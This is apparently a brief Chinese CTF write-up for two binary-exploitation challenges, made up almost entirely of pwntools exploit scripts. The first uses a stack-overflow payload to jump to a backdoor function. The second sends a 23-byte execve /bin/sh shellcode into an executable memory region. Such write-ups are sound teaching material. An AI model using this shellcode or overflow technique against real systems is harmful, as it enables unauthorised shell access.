[HNCTF 2022 WEEK2]ez_backdoor
查看发现是64位文件
在main函数里发现vuln双击进入
发现栈溢出
发现system和binsh
exp:
from pwn import *
context(os='linux',arch='amd64',log_level='debug')
io = remote('node5.anna.nssctf.cn','27493')
ret = 0x40101a
door = 0x4011ca
padding = b'a'*(0x100+0x8)
payload = padding + p64(ret) + p64(door)
io.sendline(payload)
io.interactive()
简单拿下
[SWPUCTF 2022 新生赛]shellcode?
发现是64位文件
进入main函数,发现这里有mmap函数,我们试着来看看这段什么意思
创建一个大小为1KB(1024字节)的区域,该区域可读可写可执行,并且映射的修改会反映到文件上
read 从标准输入读取100字节的数据,并将其存储到地址 0x30303000 指定的内存位置
没有system和binsh的
这题没有栈溢出且没有system和binsh
exp:
from pwn import *
context(os='linux',arch='amd64',log_level='debug')
io = remote('node5.anna.nssctf.cn','28598')
payload=b'\x48\x31\xf6\x56\x48\xbf\x2f\x62\x69\x6e\x2f\x2f\x73\x68\x57\x54\x5f\x6a\x3b\x58\x99\x0f\x05'
io.sendline(payload)
io.interactive()
可以用\x48\x31\xf6\x56\x48\xbf\x2f\x62\x69\x6e\x2f\x2f\x73\x68\x57\x54\x5f\x6a\x3b\x58\x99\x0f\x05
23字节的
也可以用asm(shellcraft.sh())默认生成30